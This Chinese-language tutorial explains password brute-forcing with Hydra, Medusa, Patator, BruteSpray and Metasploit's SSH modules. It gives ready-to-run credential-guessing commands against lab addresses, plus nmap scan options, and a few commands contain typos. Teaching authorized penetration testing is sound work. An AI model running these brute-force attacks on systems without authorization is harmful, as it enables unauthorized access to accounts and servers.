一.hydra【海德拉】
海德拉(Hydra):希腊神话中的九头蛇,是西方的神话生物,在古希腊神话中出现最为频繁。传说它拥有九颗头,其中一颗头要是被斩断,立刻又会生出两颗头来。
Hydra是世界*密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。
1.指定用户破解:
hydea -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.1680.0/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -p pws.txt -M targets.txt ssh
hydra -l root -P pass.list 192.168.75.158 ssh
2.用户列表破解:
hydra -L userlist.txt -P passlist.txt 192.168.75.158 ssh
hydra -L userlist.txt -P passlist.txt -M hostlist.txt ssh
hydra -l root -P pass.list 192.168.75.158 ssh -o hydrassh.txt
二.medusa[美杜莎]
美杜莎是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面獠牙,她知道自丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖是因为梅杜莎和智慧女神雅典娜比美,雅典娜一怒之下将梅杜莎的头发变成毒蛇,变成面目丑陋的怪物。
Medusa[美杜莎]是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机、用户或密码执行强力测试。Medusa和Hydra一样,同样于在线密码破解工具。不同的是,Medusa的稳定性相较于Hydra要好很多,但其支持模块要比Hydra少一些。
Medusa [ -h host | -H file] [ -u username | -U file] [-p password | -p file ] [ -C file ]
选项 | 功能说明 |
-h [TEXT] | 目标主机名称或者IP地址 |
-H [FILE] | 包含目标主机名称或者IP地址文件 |
-u [TEXT] | 测试的用户名 |
-U [FILE] | 包含测试的用户名文件 |
-p [TEXT] | 测试的密码 |
-P [FILE] | 包含测试的密码文件 |
-C [FILE] | 组合条目文件 |
-O [FILE] | 日志信息文件 |
-e [n/s/ns] | n代表空密码,s代表为密码与用户名相同 |
-M [TEXT] | 模块执行名称 |
-m [TEXT] | 传递参数到模块 |
-d | 显示所有的模块名称 |
-n [NUM] | 使用非默认Tcp端口 |
-s | 启用SSl |
-r [NUM] | 重试间隔时间,默认未3秒 |
-t [NUM] | 设定线程数量 |
-T | 同时测试的主机总数 |
-L | 并行化,每个用户使用一个线程 |
-f | 在任何主机上找到第一个账号/密码后,停止破解 |
-F | 在任何主机上找到第一个有效的用户名/密码后停止审计 |
-q | 显示模块的使用信息 |
-v [NUM] | 详细级别(0-6) |
-w [NUM] | 错误调试级别(0-10) |
-V | 显示版本 |
-Z [TEXT] | 继续扫描上一次 |
medusa -M ssh -u root -P pass.list -h 192.168.75.158
medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt
medusa -M ssh -u root -P pass.list -h 192.168.75.158 -O medusa.txt
三.Patator强大的命令行暴力破解器
查看模块: #patator
查看模块具体用法:#patator --ssh_login --help
#patator ssh_login host=192.168.75.158 user=root password=FILE0 0=passlist.txt
#patator ssh_login host=192.168.75.158 user=FILE0 0=user.list password=FILE1 1=pass.list
#patator ssh_login host=192.168.75.158 user=FILE0 0=user.list password=FILE1 1=pass.list -x ignore:mesg=‘Authentication failed.’
四.BrutesPray
BrutesPray是一款基于nmap扫描输出的gnmap/XML文件。自动调用Medusa对服务进行爆破。
1.安装brutespray
#apt-get update
#apt-get install brutespray
2.语法参数:
选项 | 功能说明 |
-f或 --flie | 接一个文件名, 解析nmap输出的 GNMAP 或者 XML 文件 |
-s或 --service | 接一个服务名, 指定要攻击的服务 |
-t 或 --threads | 接一数值,指定线程数 |
-T 或 --hosts | 接一数值,指定同时测试的主机数 |
-U 或 --userlist | 接一个用户字典文件 |
-P 或 --passlist | 接一个密码字典文件 |
-u 或 --username | 接用户名,指定一个用户名进行爆破 |
-p 或 --password | 接一个密码,指定一个密码进行爆破 |
-c 或 --continuous | 成功之后继续爆破 |
-I 或 --interactive | 交互模式 |
3.Nmap扫描常用命令
命令 | 功能说明 |
nmap -ip地址 | |
nmap -v ip地址 | 显示扫描过程 |
nmap -p80,8080 | 指定端口扫描 |
nmap -A ip | 综合扫描 |
nmap -O ip | 扫描主机操作系统 |
nmap -iL 文件 | 扫描指定文件中的IP |
nmap -sS SYN扫描 | 使用SYN半开放扫描 |
nmap -sT TCP扫描 | 扫描开放了TCP端口的设备 |
nmap -F | 快速扫描 |
nmap -sV | 版本检测 用于扫描目标主机服务版本号. 探测打开的端口以确定服务/版本信息 |
nmap -sR | RPC扫描 |
nmap -sU | 探测那些UDP端口开放 |
nmap -sO | 用于判断目标主机上使用的是神魔协议 探测目标主机支持哪些IP协议 |
nmap -oX | 表示以xml的格式输出结果到以文件 |
-P0 | 跳过ping的探测,可以加快扫描速度. |
-sP | ping扫描 |
-T [0-6] | 设置定时模板(越高越快) |
4.对SSH密码进行爆破
#nmap -sV -p 22 192.168.75.0/24 -oX nmaplive.xml
#brutespray --file nmaplive.xml -u root -P pass.list -c
#cat /root/brutespray-output/22-ssh-success.txt 查看爆破成功的文件内容
五.Metasploit Framework
Metasploit Framework(简称MSF)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,Shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语言,汇编程序和Python编写的可选组件。
#msfconsole
msf > search ssh
1.MSF枚举(找用户)
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(scanner/ssh/ssh_enumusers) > show options
msf auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.75.158 设置目标主机
msf auxiliary(scanner/ssh/ssh_enumusers) > set user_file /root/user.list
msf auxiliary(scanner/ssh/ssh_enumusers) > set threads 10
msf auxiliary(scanner/ssh/ssh_enumusers) > show options
msf auxiliary(scanner/ssh/ssh_enumusers) > run
2.MSF版本探测
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(scanner/ssh/ssh_version) > show options
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.75.158
msf auxiliary(scanner/ssh/ssh_version) > show options
msf auxiliary(scanner/ssh/ssh_version) > run
3.MSF暴力破解
msf auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > show options
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.75.158
msf auxiliary(scanner/ssh/ssh_login) > set pass_file /root/pass.list
msf auxiliary(scanner/ssh/ssh_login) > set user_file /root/user.list
msf auxiliary(scanner/ssh/ssh_login) > run